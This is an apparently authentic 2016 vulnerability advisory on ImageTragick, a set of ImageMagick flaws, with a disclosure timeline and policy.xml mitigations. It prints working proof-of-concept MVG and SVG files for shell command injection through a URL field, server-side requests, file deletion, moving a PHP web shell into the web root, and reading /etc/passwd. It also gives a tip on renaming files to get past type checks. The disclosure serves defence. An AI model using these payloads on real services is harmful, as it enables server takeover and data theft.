The exploit was posted at Hacker News comments thread, so it's time to
disclose the full story.

Nikolay Ermishkin from the Mail.Ru Security Team discovered several
vulnerabilities in ImageMagick.
We've reported these issues to developers of ImageMagick and they made a
fix for RCE in sources and released new version (6.9.3-9 released
2016-04-30 http://legacy.imagemagick.org/script/changelog.php), but this
fix seems to be incomplete. We are still working with developers.

ImageMagick: Multiple vulnerabilities in image decoder

1. CVE-2016-3714 - Insufficient shell characters filtering leads to
(potentially remote) code execution

Insufficient filtering for filename passed to delegate's command allows
remote code execution during conversion of several file formats.

ImageMagick allows to process files with external libraries. This
feature is called 'delegate'. It is implemented as a system() with
command string ('command') from the config file delegates.xml with
actual value for different params (input/output filenames etc). Due to
insufficient %M param filtering it is possible to conduct shell command
injection. One of the default delegate's command is used to handle https
requests:
"wget" -q -O "%o" "https:%M"
where %M is the actual link from the input. It is possible to pass the
value like `https://example.com"|ls "-la` and execute unexpected 'ls
-la'. (wget or curl should be installed)

$ convert 'https://example.com"|ls "-la' out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
...


The most dangerous part is ImageMagick supports several formats like
svg, mvg (thanks to https://hackerone.com/stewie for his research of
this file format and idea of the local file read vulnerability in
ImageMagick, see below), maybe some others - which allow to include
external files from any supported protocol including delegates. As a
result, any service, which uses ImageMagick to process user supplied
images and uses default delegates.xml / policy.xml, may be vulnerable to
this issue.

exploit.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context

exploit.svg
-=-=-=-=-=-=-=-=-
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink=
"http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg&quot;|ls &quot;-la"
x="0" y="0" height="640px" width="480px"/>
</svg>

$ convert exploit.mvg out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
...

ImageMagick tries to guess the type of the file by it's content, so
exploitation doesn't depend on the file extension. You can rename
exploit.mvg to exploit.jpg or exploit.png to bypass file type checks. In
addition, ImageMagick's tool 'identify' is also vulnerable, so it can't
be used as a protection to filter file by it's content and creates
additional attack vectors (e.g. via 'less exploit.jpg', because
'identify' is invoked via lesspipe.sh).
Ubuntu 14.04 and OS X, latest system packages (ImageMagick 6.9.3-7 Q16
x86_64 2016-04-27 and ImageMagick 6.8.6-10 2016-04-29 Q16) and latest
sources from 6 and 7 branches all are vulnerable. Ghostscript and wget
(or curl) should be installed on the system for successful PoC
execution. For svg PoC ImageMagick's svg parser should be used, not rsvg.

All other issues also rely on dangerous ImageMagick feature of external
files inclusion from any supported protocol in formats like svg and mvg.

2. CVE-2016-3718 - SSRF
It is possible to make HTTP GET or FTP request:

ssrf.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context

$ convert ssrf.mvg out.png # makes http request to example.com

3. CVE-2016-3715 - File deletion
It is possible to delete files by using ImageMagick's 'ephemeral' pseudo
protocol which deletes files after reading:

delete_file.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context

$ touch /tmp/delete.txt
$ convert delete_file.mvg out.png # deletes /tmp/delete.txt

4. CVE-2016-3716 - File moving
It is possible to move image files to file with any extension in any
folder by using ImageMagick's 'msl' pseudo protocol. msl.txt and
image.gif should exist in known location - /tmp/ for PoC (in real life
it may be web service written in PHP, which allows to upload raw txt
files and process images with ImageMagick):

file_move.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context

/tmp/msl.txt
-=-=-=-=-=-=-=-=-
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/tmp/image.gif" />
<write filename="/var/www/shell.php" />
</image>

/tmp/image.gif - image with php shell inside
(https://www.secgeek.net/POC/POC.gif for example)

$ convert file_move.mvg out.png # moves /tmp/image.gif to /var/www/shell.php

5. CVE-2016-3717 - Local file read (independently reported by original
research author - https://hackerone.com/stewie)
It is possible to get content of the files from the server by using
ImageMagick's 'label' pseudo protocol:

file_read.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context

$ convert file_read.mvg out.png # produces file with text rendered from
/etc/passwd


How to mitigate the vulnerability.

Available patches appear to be incomplete.
If you use ImageMagick or an affected library, we recommend you mitigate
the known vulnerabilities by doing at least one these two things (but
preferably both!):
1. Verify that all image files begin with the expected “magic bytes”
corresponding to the image file types you support before sending them to
ImageMagick for processing. (see FAQ for more info)
2. Use a policy file to disable the vulnerable ImageMagick coders. The
global policy for ImageMagick is usually found in “/etc/ImageMagick”.
This policy.xml example will disable the coders EPHEMERAL, URL, MVG, and
MSL:

<policymap>
    <policy domain="coder" rights="none" pattern="EPHEMERAL" />
    <policy domain="coder" rights="none" pattern="URL" />
    <policy domain="coder" rights="none" pattern="HTTPS" />
    <policy domain="coder" rights="none" pattern="MVG" />
    <policy domain="coder" rights="none" pattern="MSL" />
</policymap>


Vulnerability Disclosure Timeline:
April, 21 2016 - file read vulnerability report for one of My.Com
services from https://hackerone.com/stewie received by Mail.Ru Security
Team. Issue is reportedly known to ImageMagic team.
April, 21 2016 - file read vulnerability patched by My.Com development team
April, 28 2016 - code execution vulnerability in ImageMagick was found
by Nikolay Ermishkin from Mail.Ru Security Team while researching
original report
April, 30 2016 - code execution vulnerability reported to ImageMagick
development team
April, 30 2016 - code execution vulnerability fixed by ImageMagick
(incomplete fix)
April, 30 2016 - fixed ImageMagic version 6.9.3-9 published (incomplete fix)
May, 1 2016 - ImageMagic informed of the fix bypass
May, 2 2016 - limited disclosure to 'distros' mailing list
May, 3 2016 - public disclosure at https://imagetragick.com/